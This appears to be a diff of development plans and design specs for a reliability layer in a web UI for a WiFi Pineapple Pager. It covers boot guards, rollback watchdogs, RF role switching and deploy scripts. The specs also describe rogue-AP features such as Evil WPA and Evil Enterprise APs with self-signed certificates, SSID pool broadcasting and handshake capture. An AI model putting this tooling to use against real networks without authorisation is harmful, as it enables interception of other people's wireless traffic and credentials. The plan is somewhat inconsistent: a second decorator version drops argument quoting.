+        self.pool = 0
+        result = mk8_guard.reconcile(clear_pool=False)
+        sets = [c[2] for c in self.calls if c[:2] == ['uci', 'set']]
+        self.assertEqual(len(sets),
+                         len(server.PINEAPD_SAFE_UCI) + len(mk8_guard.WANTED_EXTRA))
+        self.assertTrue(result['changed'])
+
+    def test_clears_large_pool_only(self):
+        self.pool = 25
+        result = mk8_guard.reconcile(clear_pool=True)
+        self.assertTrue(result['pool_cleared'])
+        self.assertIn(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'], self.calls)
+
+    def test_small_pool_untouched(self):
+        self.pool = 5
+        result = mk8_guard.reconcile(clear_pool=True)
+        self.assertFalse(result['pool_cleared'])
+
+if __name__ == '__main__':
+    unittest.main()
+```
+
+- [ ] **Step 2: Verify failure** — no module.
+- [ ] **Step 3: Implement**
+
+```python
+"""Boot-time reconciliation of crash-prone PineAP settings."""
+from server import (_apply_uci_wanted, _monitor_down, _raise_monitors,
+                    PINEAPD_SAFE_UCI, device_run)
+
+WANTED_EXTRA = {'pineapd.@pineapd[0].autossidpool': '0'}
+POOL_CLEAR_MAX = 20
+MONITORS = ('wlan0mon', 'wlan1mon')
+
+
+def _pool_size():
+    rc, out, err = device_run(
+        ['uci', 'get', 'pineapd.@ssidpool[0].ssid'])
+    if rc != 0 or not (out or '').strip():
+        return 0
+    return len([s for s in out.strip().split('\\n') if s])
+
+
+def reconcile(clear_pool=True):
+    changed = _apply_uci_wanted(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
+    pool_cleared = False
+    if clear_pool and _pool_size() > POOL_CLEAR_MAX:
+        device_run(['uci', 'delete', 'pineapd.@ssidpool[0].ssid'])
+        pool_cleared = True
+    if changed or pool_cleared:
+        device_run(['uci', 'commit', 'pineapd'])
+    raised = _raise_monitors() if any(_monitor_down(m) for m in MONITORS) else []
+    return {'changed': changed, 'pool_cleared': pool_cleared,
+            'monitors_raised': raised}
+
+
+def guard_report():
+    from server import _pending_uci
+    pending = _pending_uci(dict(PINEAPD_SAFE_UCI, **WANTED_EXTRA))
+    return {'in_sync': not pending, 'pending': pending,
+            'pool_size': _pool_size()}
+```
+
+- [ ] **Step 4: Pass. Commit:** `feat(reliability): boot-time UCI reconciler`
+
+---
+
+### Task 4: Guard init script + install wiring
+
+**Files:**
+- Create: `payload/user/remote_access/pager-webui/mk8-guard.init`
+- Modify: `scripts/deploy.sh` (install block), `payload/user/remote_access/pager-webui/server.py` (CLI flag)
+
+**Interfaces:** CLI: `python3 server.py --reconcile` runs `mk8_guard.reconcile()` and prints JSON; exit 0 always (boot must not fail).
+
+- [ ] **Step 1: Write `mk8-guard.init`:**
+
+```sh
+#!/bin/sh /etc/rc.common
+# Mark VIII boot guard: enforce safe PineAP UCI before the S50 stack starts.
+START=49
+STOP=90
+
+GUARD_DIR="/root/payloads/user/remote_access/pager-webui"
+[ -f "$GUARD_DIR/server.py" ] || GUARD_DIR="/mmc/mk8/releases/current"
+
+start() {
+    [ -f "$GUARD_DIR/server.py" ] || return 0
+    /usr/bin/python3 "$GUARD_DIR/server.py" --reconcile \
+        >/tmp/mk8-guard.log 2>&1 || true
+}
+
+stop() { return 0; }
+```
+
+- [ ] **Step 2: Add CLI branch in `server.py` `__main__` (after `--release-pager`):**
+
+```python
+    if '--reconcile' in sys.argv:
+        try:
+            import mk8_guard
+            print(json.dumps(mk8_guard.reconcile()))
+        except Exception as exc:  # boot must never fail here
+            print(json.dumps({'error': str(exc)}))
+        sys.exit(0)
+```
+
+- [ ] **Step 3: deploy.sh install block (inside REMOTE_COMMAND before EXTRACT_OK echo):**
+
+```sh
+cp -f '$DIR/mk8-guard.init' /etc/init.d/mk8-guard
+chmod 755 /etc/init.d/mk8-guard
+/etc/init.d/mk8-guard enable
+```
+
+(`$DIR` is the existing remote payload dir var used by the unzip step.)
+
+- [ ] **Step 4: Local verification:** `python3 -m py_compile payload/user/remote_access/pager-webui/server.py && node --check payload/user/remote_access/pager-webui/www/js/app.js` (JS untouched but cheap sanity). `sh -n scripts/deploy.sh`.
+- [ ] **Step 5: Commit** — `feat(reliability): START=49 boot guard installed by deploy`
+
+---
+
+### Task 5: Supervisor extension of health monitor
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/server.py` (`health_check`, `_health_loop`, `h_health`, `serve()` boot sequence)
+- Test: `tests/test_health.py` (extend), `tests/test_reliability_api.py` (new)
+
+**Interfaces:**
+- Consumes: `mk8_events`, `mk8_guard.guard_report()`.
+- Produces in `_health`: `mem_percent`, `events` (last 20), `reliability` counters, `guard` report; boot-marker logic `check_boot_marker()` → bool unexpected; mem sampling `_mem_percent()`.
+
+- [ ] **Step 1: Failing tests** — add to `tests/test_health.py` (same fake_run pattern already there):
+
+```python
+class SupervisorExtrasTest(unittest.TestCase):
+    def runTestWith(self):  # helper: reuse existing setUp fake_run
+        pass
+
+    def test_mem_percent_math(self):
+        import tempfile
+        content = 'MemTotal:  250000 kB\nMemAvailable: 100000 kB\n'
+        path = tempfile.mktemp()
+        open(path, 'w').write(content)
+        self.assertEqual(server._mem_percent(path), 60)
+
+    def test_health_reports_events_and_counters(self):
+        import mk8_events
+        mk8_events.log_event('restart', msg='x')
+        status, h = server.h_health(None)
+        self.assertEqual(status, 200)
+        self.assertIn('events', h)
+        self.assertIn('boots', h['reliability'])
+
+    def test_boot_marker_detects_unexpected(self):
+        import mk8_events, tempfile, os
+        marker = tempfile.mktemp()
+        old = server.BOOT_MARKER
+        server.BOOT_MARKER = marker
+        try:
+            open(marker, 'w').write('0')
+            self.assertTrue(server.check_boot_marker())
+            os.unlink(marker)
+            self.assertFalse(server.check_boot_marker())
+        finally:
+            server.BOOT_MARKER = old
+```
+
+(`_mem_percent` takes a `path` argument so tests inject a temp file; production call passes no arg.)
+
+- [ ] **Step 2: Implement** — key code:
+
+```python
+def _mem_percent(path='/proc/meminfo'):
+    try:
+        vals = {}
+        with open(path) as f:
+            for line in f:
+                k, v = line.split(':')
+                vals[k] = int(v.strip().split()[0])
+        total = vals.get('MemTotal', 0)
+        avail = vals.get('MemAvailable', vals.get('MemFree', 0))
+        return round(100.0 * (total - avail) / total) if total else 0
+    except (OSError, ValueError):
+        return 0
+
+MEM_WARN_PERCENT = 85
+MEM_WARN_STREAK = 5
+
+# inside health_check(), after monitor repair section:
+h['mem_percent'] = _mem_percent()
+if h['mem_percent'] >= MEM_WARN_PERCENT:
+    h['mem_streak'] = h.get('mem_streak', 0) + 1
+else:
+    h['mem_streak'] = 0
+if h['mem_streak'] == MEM_WARN_STREAK:
+    mk8_events.log_event('mem_warn', sev='warn',
+                         msg='memory above %d%% sustained' % MEM_WARN_PERCENT)
+
+# restart action gains journaling:
+h['fixes'] += 1
+mk8_events.log_event('restart', msg='pineapd restarted by health monitor')
+```
+
+Boot marker (called from `startup_env_check` tail):
+
+```python
+BOOT_MARKER = '/mmc/mk8/boot.marker'
+
+def check_boot_marker():
+    import os, mk8_events
+    try:
+        unexpected = os.path.exists(BOOT_MARKER)
+        mk8_events.mark_boot(unexpected=unexpected)
+        with open(BOOT_MARKER, 'w') as f:
+            f.write(str(int(time.time())))
+        return unexpected
+    except OSError:
+        return False
+```
+
+`h_health` additions:
+
+```python
+    import mk8_events, mk8_guard
+    h['reliability'] = mk8_events.counters()
+    h['events'] = mk8_events.read_events(limit=20)
+    h['guard'] = mk8_guard.guard_report()
+```
+
+- [ ] **Step 3: Run full test_health + new api test to pass.**
+- [ ] **Step 4: Commit** — `feat(reliability): supervisor sampling, event feed, boot marker`
+
+---
+
+### Task 6: Risky-op gate + rollback watchdog
+
+**Files:**
+- Create: `payload/user/remote_access/pager-webui/mk8_gate.py`, `payload/user/remote_access/pager-webui/mk8-watchdog.sh`
+- Modify: `server.py` (wrap handlers), `deploy.sh` (ship watchdog script)
+- Test: `tests/test_mk8_gate.py`
+
+**Interfaces:**
+- `watchdog_decision(fails, oks, fail_after=6, healthy_after=6)` → `'rollback'|'promote'|None` (pure).
+- `gated(op, fn)` decorator/context: snapshots `auto_name(op)`, spawns watchdog via `setsid sh mk8-watchdog.sh <profile> ... &`, runs fn, returns `(result, profile)`.
+- CLI: `server.py --rollback-snapshot <name>` restores profile + wifi reload; `--promote-snapshot <name>` promotes lastknown-good.
+
+- [ ] **Step 1: Failing decision-table tests**
+
+```python
+import os, sys, unittest
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import mk8_gate
+
+class DecisionTest(unittest.TestCase):
+    def tick(self, state):
+        action, new = mk8_gate.watchdog_decision(state)
+        return action, new
+
+    def test_no_action_below_fail_threshold(self):
+        action, s = self.tick({'fails': 5, 'oks': 0, 'tripped': False})
+        self.assertIsNone(action)
+        self.assertFalse(s['tripped'])
+
+    def test_rollback_at_threshold(self):
+        action, s = self.tick({'fails': 6, 'oks': 0, 'tripped': False})
+        self.assertEqual(action, 'rollback')
+        self.assertTrue(s['tripped'])
+        self.assertEqual(s['oks'], 0)
+
+    def test_promote_after_recovery(self):
+        action, s = self.tick({'fails': 6, 'oks': 6, 'tripped': True})
+        self.assertEqual(action, 'promote')
+
+    def test_no_promote_before_recovery_threshold(self):
+        action, s = self.tick({'fails': 6, 'oks': 5, 'tripped': True})
+        self.assertIsNone(action)
+
+if __name__ == '__main__':
+    unittest.main()
+```
+
+- [ ] **Step 2: Implement `mk8_gate.py`**
+
+```python
+"""Risky-operation gate: snapshot + detached rollback watchdog."""
+import subprocess
+
+WATCHDOG = '/root/payloads/user/remote_access/pager-webui/mk8-watchdog.sh'
+FAIL_AFTER = 6          # consecutive local-liveness failures -> rollback
+HEALTHY_AFTER = 6       # consecutive successes after failure -> promote
+INTERVAL = 5            # seconds between probes
+
+
+def watchdog_decision(state):
+    """state: {'fails': int, 'oks': int, 'tripped': bool,
+               'fail_after': 6, 'healthy_after': 6}
+    Returns (action, new_state): action in {'rollback','promote',None}."""
+    s = dict(state)
+    fa = s.get('fail_after', FAIL_AFTER)
+    ha = s.get('healthy_after', HEALTHY_AFTER)
+    if not s['tripped'] and s['fails'] >= fa:
+        return 'rollback', dict(s, tripped=True, oks=0)
+    if s['tripped'] and s['oks'] >= ha:
+        return 'promote', s
+    return None, s
+
+
+def gated(op, profiles, spawn=None):
+    """Decorator factory: snapshot config, spawn detached watchdog, run op."""
+    import shlex
+    if spawn is None:
+        def spawn(cmd):
+            subprocess.Popen(cmd, shell=True, start_new_session=True)
+    def deco(fn):
+        def wrapped(*a, **kw):
+            name = profiles.auto_name(op)
+            profiles.snapshot(name)
+            spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &" %
+                  (shlex.quote(WATCHDOG), shlex.quote(name),
+                   INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
+            return fn(*a, **kw)
+        return wrapped
+    return deco
+```
+
+(Remove the earlier `NotImplementedError` sketch entirely — this is the final form.)
+
+`gated` implementation:
+
+```python
+def gated(op, profiles, spawn=lambda cmd: subprocess.Popen(
+        cmd, shell=True, start_new_session=True)):
+    """Decorator factory. profiles = mk8_profiles module."""
+    def deco(fn):
+        def wrapped(*a, **kw):
+            name = profiles.auto_name(op)
+            profiles.snapshot(name)
+            spawn("setsid sh %s %s %d %d %d >/dev/null 2>&1 &"
+                  % (WATCHDOG, name, INTERVAL, FAIL_AFTER, HEALTHY_AFTER))
+            return fn(*a, **kw)
+        return wrapped
+    return deco
+```
+
+- [ ] **Step 3: `mk8-watchdog.sh`**
+
+```sh
+#!/bin/sh
+# Usage: mk8-watchdog.sh <profile> <interval> <fail_after> <healthy_after>
+PROFILE="$1"; IV="${2:-5}"; FA="${3:-6}"; HA="${4:-6}"
+DIR="/root/payloads/user/remote_access/pager-webui"
+[ -f "$DIR/server.py" ] || DIR="/mmc/mk8/releases/current"
+fails=0; oks=0; tripped=0
+probe() {
+    curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1 &&
+    { ip link show wlan0mon >/dev/null 2>&1 ||
+      ip link show wlan1mon >/dev/null 2>&1; }
+}
+while true; do
+    if probe; then
+        fails=0
+        if [ "$tripped" = "1" ]; then
+            oks=$((oks + 1))
+            if [ "$oks" -ge "$HA" ]; then
+                /usr/bin/python3 "$DIR/server.py" --promote-snapshot "$PROFILE" >/dev/null 2>&1
+                exit 0
+            fi
+        fi
+    else
+        fails=$((fails + 1)); oks=0
+        if [ "$tripped" = "0" ] && [ "$fails" -ge "$FA" ]; then
+            tripped=1
+            /usr/bin/python3 "$DIR/server.py" --rollback-snapshot "$PROFILE" >/dev/null 2>&1
+        fi
+    fi
+    sleep "$IV"
+done
+```
+
+- [ ] **Step 4: Wire gates** — decorate `h_pineap_wifi_set_ap`, `_disable_sta_uplink` call sites, enterprise deploy/stop, and any handler issuing `wifi reload`, with `@mk8_gate.gated('<op>', mk8_profiles)`.
+- [ ] **Step 5: CLI rollback/promote hooks in `server.py` `__main__`:**
+
+```python
+    if '--rollback-snapshot' in sys.argv:
+        name = sys.argv[sys.argv.index('--rollback-snapshot') + 1]
+        import mk8_profiles
+        result = mk8_profiles.restore(name)
+        device_run(['wifi', 'reload'], timeout=90)
+        import mk8_events
+        mk8_events.log_event('rollback', sev='warn',
+                             msg='watchdog restored %s' % name,
+                             meta=result)
+        print(json.dumps(result))
+        sys.exit(0)
+    if '--promote-snapshot' in sys.argv:
+        name = sys.argv[sys.argv.index('--promote-snapshot') + 1]
+        import mk8_profiles
+        print(json.dumps({'promoted': mk8_profiles.promote_lastknown_good()}))
+        sys.exit(0)
+```
+
+- [ ] **Step 6: Tests pass; `sh -n mk8-watchdog.sh`; commit** — `feat(reliability): risky-op preflight snapshots + detached rollback watchdog`
+
+---
+
+### Task 7: RF role manager (`mk8_rfplan.py`)
+
+**Files:**
+- Create: `payload/user/remote_access/pager-webui/mk8_rfplan.py`
+- Modify: `server.py` (routes), UI chip later in Task 8
+- Test: `tests/test_mk8_rfplan.py`
+
+**Interfaces:**
+- Consumes: `server._pause_hop/_resume_hop/_read_hop`, `server.device_run`, `server._uci_values/_set_uci`, gate from Task 6.
+- Produces: `current_role()` → `'attack'|'uplink'|'idle'`; `set_role(role, ssid=None, psk=None)` → dict result (gated); ensures exclusivity: attack AP enable paths call `ensure_attack()` which auto-switches uplink→attack first.
+- Routes: `GET /api/rfplan` , `POST /api/rfplan/role`.
+
+- [ ] **Step 1: Failing tests** (fake device_run capturing uci/iw calls):
+
+```python
+def test_uplink_sets_sta_section_and_pauses_hop(self): ...
+def test_set_role_uplink_requires_ssid(self): ...
+def test_exclusivity_switch(self): ...
+def test_current_role_reads_uci(self): ...
+```
+
+Assertions: `uci set wireless.wlan1up.mode=sta`, `.disabled=0`, `.ssid=<ssid>`, hop paused via `_pause_hop` mock, `wifi reload` invoked through gated op only.
+
+- [ ] **Step 2: Implement core:**
+
+```python
+ROLE_KEY = 'mk8.rfplan.role'
+
+def current_role():
+    from server import _uci_values
+    cfg = _uci_values('wireless.wlan1up') or {}
+    if cfg.get('disabled') != '1' and cfg.get('mode') == 'sta':
+        return 'uplink'
+    return 'idle'
+
+def set_role(role, ssid=None, psk=None):
+    from server import device_run, _pause_hop, _resume_hop
+    if role == 'uplink':
+        if not ssid:
+            return {'ok': False, 'error': 'ssid required'}
+        cmds = [
+            ['uci', 'set', 'wireless.wlan1up=wifi-iface'],
+            ['uci', 'set', 'wireless.wlan1up.device=radio1'],
+            ['uci', 'set', 'wireless.wlan1up.mode=sta'],
+            ['uci', 'set', 'wireless.wlan1up.network=cli'],
+            ['uci', 'set', 'wireless.wlan1up.ssid=%s' % ssid],
+            ['uci', 'set', 'wireless.wlan1up.encryption=%s'
+             % ('psk2' if psk else 'none')],
+            ['uci', 'set', 'wireless.wlan1up.disabled=0'],
+        ]
+        if psk:
+            cmds.append(['uci', 'set', 'wireless.wlan1up.key=%s' % psk])
+        for c in cmds:
+            device_run(c)
+        device_run(['uci', 'commit', 'wireless'])
+        _pause_hop()
+        device_run(['wifi', 'reload'], timeout=60)
+        assoc = associated()
+        if not assoc:
+            disable_uplink()
+            _resume_hop()
+            return {'ok': False, 'error': 'association failed; reverted'}
+        return {'ok': True, 'role': 'uplink', 'assoc': assoc}
+    # attack/idle: tear down STA
+    disable_uplink()
+    _resume_hop()
+    return {'ok': True, 'role': role}
+
+def associated():
+    rc, out, err = device_run(['iw', 'dev', 'wlan1up', 'link'], timeout=10)
+    if rc != 0 or 'Connected' not in (out or ''):
+        return None
+    for line in (out or '').splitlines():
+        line = line.strip()
+        if line.startswith('Connected to '):
+            return line.split()[2]
+    return None
+
+def disable_uplink():
+    from server import device_run
+    device_run(['uci', 'set', 'wireless.wlan1up.disabled=1'])
+    device_run(['uci', 'commit', 'wireless'])
+
+def ensure_attack():
+    if current_role() == 'uplink':
+        set_role('attack')
+```
+
+Handlers in server.py wrap with gate + journal events. `GET /api/rfplan` returns role + assoc + hop-paused state.
+
+- [ ] **Step 3: Pass; py_compile; commit** — `feat(reliability): phy1 RF role manager with uplink-on-radio1`
+
+---
+
+### Task 8: UI additions
+
+**Files:**
+- Modify: `payload/user/remote_access/pager-webui/www/js/views.js`, `www/js/app.js` (nav if needed), `www/css/app.css`
+
+**Steps (no unit tests; verified by `node --check` + live smoke in Task 10):**
+
+- [ ] Dashboard health panel: events feed list (ts/kind/sev/msg) + counters row (boots/unexpected/rollbacks/restarts/guard fixes) + guard sync chip; render from `/api/health` new fields; CSS classes `mk8-events-feed`, `mk8-counter-row`.
+- [ ] Top bar RF chip extension: show `PHY1: UPLINK chNN` when rfplan role is uplink (poll `/api/rfplan` with existing status poll).
+- [ ] Settings: "Reliability" card — profile save input + Save button (`POST /api/reliability/profile` {name}), profile list with Restore buttons (`POST /api/reliability/restore` {name}), RF role control (role select + SSID/PSK inputs → `POST /api/rfplan/role`).
+- [ ] Add routes in Task 9's API surface before wiring buttons; keep fetch helpers identical to existing patterns (`apiFetch('/api/...')`).
+- [ ] `node --check` both JS files; bump cache-bust query `?v=` strings as existing convention does.
+- [ ] Commit — `feat(ui): reliability panel, profiles card, RF plan controls`
+
+---
+
+### Task 9: API routes + atomic deploys + VERSION
+
+**Files:**
+- Modify: `server.py` ROUTER block (~line 6804), `scripts/deploy.sh`, create `VERSION`
+- Test: `tests/test_reliability_api.py`
+
+- [ ] **Routes:**
+
+```python
+ROUTER.add('GET', r'/api/rfplan', h_rfplan_get)
+ROUTER.add('POST', r'/api/rfplan/role', h_rfplan_post)
+ROUTER.add('GET', r'/api/reliability/profiles', h_profiles_get)
+ROUTER.add('POST', r'/api/reliability/profile', h_profile_save)
+ROUTER.add('POST', r'/api/reliability/restore', h_profile_restore)
+```
+
+Handlers thin-wrape `mk8_rfplan` / `mk8_profiles`; restore handler runs inside `mk8_gate.gated('restore_profile', ...)`. All auth-gated automatically by existing middleware.
+
+- [ ] **VERSION file:** `1.4.0`
+- [ ] **deploy.sh rework:**
+  1. Read `VERSION` → stamp build copies of `_hak5_manifest.json` (`version`), `payload.sh` header comment, and inject `SERVER_VERSION = 'X'` into staged `server.py` (build dir only, never source tree).
+  2. Remote flow: scp zip to `/tmp/mk8-stage/` → verify sha256 of uploaded zip matches local → stop service → extract to `/mmc/mk8/releases/<ts>/` → repoint `current` symlink atomically (`ln -sfn`) → install/update `/etc/init.d/mk8-guard` + copy `mk8-watchdog.sh` → start → poll `http://127.0.0.1:8080/api/api_ping` (via SSH-local curl) ≤60 s → compare served banner/version → on failure: `ln -sfn` back to previous release + start + exit 1.
+  3. Keep legacy overlay payload dir as symlink target for portal compatibility: `/root/payloads/user/.../pager-webui` → real dir stays, contains pointer script or bind; simplest: leave legacy install untouched and have `current` be canonical (init scripts already fall back to `/mmc/mk8/releases/current`).
+- [ ] **Tests:** unit-test stamping function `stamp_version(build_dir)` extracted into `scripts/build_common.py` (new) so it is importable: asserts manifest/payload/server contain version; sha256 check tested with tmpfiles.
+- [ ] **Commit** — `feat(deploy): atomic releases, VERSION single-source, post-deploy verification`
+
+---
+
+### Task 10: On-device smoke suite + live verification
+
+**Files:**
+- Create: `scripts/smoke.sh`
+
+- [ ] **smoke.sh checks (each prints PASS/FAIL, non-destructive unless `--write` given):**
+  1. Service up: `curl :8080/api/api_ping`.
+  2. Guard installed: `[ -x /etc/init.d/mk8-guard ]` and enabled symlink exists.
+  3. Invariants: `uci get` each wanted key equals expected; pool size ≤ 20.
+  4. Journal writable + has boot event: tail events.log on device.
+  5. Monitors up: `ip link show wlan0mon/wlan1mon`.
+  6. (`--write`) Bad-value drill: set `pineapd.wlan1mon.bands='2,5'` → run `--reconcile` → expect `'5'`; set pool of 25 SSIDs → reconcile → cleared.
+  7. (`--write`) Role drill: set_role uplink to lab AP → expect assoc; set_role attack → expect monitors hopping again.
+  8. Deploy version match: `/api/health` version == `cat VERSION`.
+- [ ] **Execution order:** full local unit suite (every `tests/test_*.py` individually) → deploy via `./scripts/deploy.sh --password '<pw>'` → reboot device via SSH → wait for SSH return → rerun smoke.sh → confirm guards survived boot → report.
+- [ ] **Commit** — `test(smoke): on-device reliability suite` ; final tag `v1.4.0` after user confirmation.
+
+---
+
+## Verification matrix (spec → tasks)
+
+| Spec requirement | Task |
+|---|---|
+| Boot guard before S50 | 4 |
+| Reconciler invariants (5 crash sources) | 3 |
+| Profiles + lastknown-good | 2 |
+| Knock-off rollback watchdog (local liveness) | 6 |
+| RF roles, uplink→phy1, hop pause/resume | 7 |
+| Supervisor sampling + hysteresis + alerts | 5 |
+| Event journal on /mmc + boot detection | 1, 5 |
+| Atomic deploy + version single-source | 9 |
+| UI health/events/profiles/RF | 8, 9 |
+| Unit + smoke tests | all, 10 |

docs/superpowers/specs/2026-08-19-startup-env-check-design.md

@@ -0,0 +1,98 @@
+# Startup Environment Check + Self-Heal
+
+Date: 2026-08-19
+
+## Problem
+
+Rebooting the Pineapple left Mark VIII in a broken state: the boot-persistent
+procd service came back, but nothing reconciled pineapd/UCI/monitors, so the UI
+reported state that did not match the device (pool "off" while actually
+broadcasting), native recon scans failed, and scans only returned 5GHz results.
+
+Three observed failures:
+
+1. **native recon scan failed** — `h_recon_start` proxies
+   `/api/pineap/recon/new`; it returns 502 when the daemon fails (typically
+   pineapd down/crash-looping). Nothing verifies pineapd health before the user
+   starts a scan.
+2. **scans only showed 5GHz** — radio0's AP interfaces (wlan0open/wlan0wpa)
+   pin `wlan0mon` to one 2.4GHz channel (a phy's channel is held by its AP
+   interface), so 2.4GHz results mostly vanish while 5GHz `wlan1mon` hopping
+   keeps producing results. The band UCI config itself is correct.
+3. **pool "on" while UI shows "off"** — the UI's advertise state is derived
+   only from UCI `pineapd.@ssidpool[0].disable`. Nothing syncs pineapd's
+   *runtime* pool broadcast to match UCI. UCI can say disabled while pineapd is
+   live-broadcasting.
+
+## Design decisions
+
+- Keep boot auto-start; the service self-heals at every startup instead.
+- The env check auto-fixes everything fixable, re-verifies, and only fails hard
+  on core deps (daemon unreachable after fix, pineapd down after restart, recon
+  DB unreadable).
+- 5GHz-only scans are handled by verify + warn (no scan-time AP pausing).
+
+## Implementation
+
+### 1. `env_check()` in server.py (single source of truth)
+
+Runs in order and returns `[{step, ok, detail, action}]` where `ok` is one of
+`pass`, `fixed`, `warn`, `fail`:
+
+1. **Daemon reachable** — `daemon_sock_call('GET', '/api/pineap/get_config')`.
+   Report-only.
+2. **pineapd alive** — `pidof pineapd`. If down: stabilize UCI, restart
+   `/etc/init.d/pineapd`, re-verify. Core: if still down after restart -> fail.
+3. **Sane-off UCI defaults** — reuse the `_stabilize_pineapd` wanted-dict (pool
+   `disable=1` + clear pool list, `wlan2mon.disable=1`/`hop=0`,
+   `wlan1mon.bands=5`/`hop=0`, `wlan0mon.bands=2`). Write + commit when
+   missing. Refactor so the health monitor and env check share the wanted-dict.
+4. **Runtime pool sync** — when UCI says pool disabled, call
+   `_pineap('SSIDPOOL', 'DISABLE')` so pineapd's runtime broadcast matches the
+   UI. Report the resulting runtime state as `pool_runtime`.
+5. **Monitors up** — `_bring_monitors_up()` for wlan0mon/wlan1mon.
+6. **Recon DB readable** — read-only scan-count query against `RECON_DB`.
+   Report row count. Core: unreadable -> fail.
+7. **2.4GHz sampling** — report enabled radio0 APs (wlan0open/wlan0wpa).
+   Warn: "2.4GHz under-sampled while an OpenAP/Evil WPA AP is up on radio0".
+
+### 2. CLI mode `server.py --env-check`
+
+`if __name__ == '__main__'` branch: run `env_check()`, print verbose
+`[PASS] step — detail` / `[FIXED] ...` / `[WARN] ...` / `[FAIL] ...` lines to
+stdout, exit 0 (all pass/warn) or 1 (any core fail).
+
+### 3. Startup self-heal
+
+`serve()` runs `env_check()` before binding, stores the report in module state,
+and logs to `/tmp/pagerwebui.log` (covers boot + procd respawn).
+
+### 4. API + UI
+
+- `GET /api/health` gains `env` (last env-check report + timestamp +
+  pass/fixed/warn/fail counts) and `pool_runtime` (actual runtime broadcast
+  state after sync).
+- `GET /api/recon/status` gains `wlan0_pinned` (true when a radio0 AP is
+  enabled); the recon scan bar shows a 2.4GHz under-sampling warning pill.
+- `h_recon_start` failure includes `detail` in the user-facing error.
+
+### 5. payload.sh
+
+Before starting the service (both foreground and background paths), run
+`python3 "$SCRIPT_DIR/server.py" --env-check`, show output verbosely on the
+payload screen, and abort with a red message on exit 1. Bump header version to
+match the current release.
+
+### 6. Tests
+
+- `tests/test_env_check.py` — fake `device_run` UCI harness (pattern from
+  `test_health.py`): defaults applied when missing / idempotent when set, pool
+  list cleared, runtime SSIDPOOL disable invoked when UCI says disabled,
+  monitors brought up, pineapd restarted when down, DB unreadable -> fail,
+  CLI `--env-check` prints and exits correctly.
+- `test_health.py` updated for the shared stabilization refactor.
+
+## Out of scope
+
+- No scan-time AP pausing / radio0 AP teardown.
+- No changes to radio1 / evil-twin / enterprise config handling.

docs/superpowers/specs/2026-08-20-recon-reports-enterprise-stability-design.md

@@ -0,0 +1,233 @@
+# Recon, Reports, Enterprise Certificates, and PineAP Stability Design
+
+## Summary
+
+This change improves five related Mark VIII workflows on Pineapple Pager 24.10.1:
+
+1. Recon reports radio coverage from observed runtime behavior instead of treating an enabled dummy STA as proof of starvation.
+2. Self-contained HTML reports include signal maps matching the Recon UI.
+3. Evil Enterprise can generate and activate a user-defined self-signed server certificate.
+4. Handshakes moves from Recon to PineAP while old links continue to work.
+5. Mark VIII contains and diagnoses known `pineapd` crash loops without attempting an unsupported binary patch.
+
+The implementation remains compatible with the existing constraints: Python standard library only, no frontend build step, no external report assets, and no modifications to the stock `pineapd` binary.
+
+## Confirmed Current Behavior
+
+On the target Pager, `wireless.dummy_radio0` is enabled, but `wlan0` is unassociated and `wlan0mon` exists. The current UI nevertheless displays `2.4GHz starved` because `wlan0_sta` means only that the UCI section is enabled. It does not prove association, administrative state, channel pinning, or a failed channel change.
+
+Recon completion is also currently timer-based. The service does not associate the timer with the resulting scan row, and the UI prefers the newest nonempty scan. A completed run can therefore leave an older scan selected.
+
+The target also has crash-prone PineAP settings: the nonexistent `wlan2mon` is enabled for hopping, `wlan1mon` includes 2.4 GHz, and pool broadcast lacks an explicit disabled value. Mark VIII reports these states but does not currently reconcile them. The running daemon is the stock `/usr/sbin/pineapd` with SHA-256 `e2cf0453d7e7d2e08bf31a242289e480d44649923a5199eed954d73df0cf1da5`.
+
+## Recon Runtime Accuracy
+
+### Radio State Model
+
+The backend will expose a structured 2.4 GHz coverage state rather than asking the frontend to infer it from UCI booleans. The state will distinguish:
+
+- `full`: `wlan0mon` passed the channel-control probe and is participating in the active hopper.
+- `pinned`: a live associated STA or active AP holds `phy0`, and the monitor cannot change channel.
+- `current_channel_only`: the channel-control probe failed, but native Recon remains able to collect on the current channel.
+- `unavailable`: `wlan0mon` is absent or down and cannot collect.
+- `idle`: no scan is active, with no claim about current scan coverage.
+
+Supporting fields will identify the observed reason, current channel, associated STA state, dummy-STA configured state, dummy-STA parked state, and active hopper interfaces. User-visible messages will come from this backend diagnosis.
+
+An enabled but unassociated `dummy_radio0` will not by itself produce a starvation warning. The preflight channel probe remains authoritative. If the dummy STA causes `Resource busy`, the existing safe borrowing flow will park it and retry. If the retry succeeds, coverage is `full`; if it fails, coverage reflects the observed limitation.
+
+The hopper loop will clear active interface state when it exits. Completed scans must not retain stale `hopper_ifaces` that imply hopping remains active.
+
+### Scan Identity and Completion
+
+Before starting native Recon, Mark VIII will record the highest existing scan ID. After the daemon accepts the start, polling will identify the first newer scan row and retain that ID as the run's result. The status response will include the tracked scan ID when available.
+
+Elapsed duration still controls when Mark VIII requests or recognizes the end of the timed run, but the frontend will not announce a completed result until the new scan row is available. A 15-second settlement period will allow final SQLite writes to appear. If no row appears within that period, the scan ends with an explicit result-unavailable warning rather than silently selecting an older scan.
+
+The Recon UI will follow the tracked scan ID, including while it is initially empty. It will no longer use the newest nonempty historical scan as a substitute for the active run.
+
+### UI Presentation
+
+The scan bar will preserve the existing styling and use concise messages:
+
+- `2.4 GHz hopping` for full coverage.
+- `2.4 GHz limited to channel N -- <observed reason>` for pinned collection.
+- `2.4 GHz monitor unavailable` when collection is impossible.
+
+Warnings describe coverage quality, not whether the scan as a whole succeeded. The 5 GHz radio can continue independently when 2.4 GHz is limited.
+
+## HTML Report Signal Maps
+
+### Rendering
+
+The shared live/archive HTML generator will add dependency-free inline SVG maps for every populated band. The geometry will match `MiniChart.channelMap`:
+
+- Prefer observed frequency and otherwise derive it from channel.
+- Use the same 2.4, 5, and 6 GHz ranges.
+- Use a fixed -100 to -30 dBm vertical scale.
+- Represent each AP as a raised-cosine 20 MHz lobe.
+- Use the same green, yellow, orange, and red signal thresholds.
+
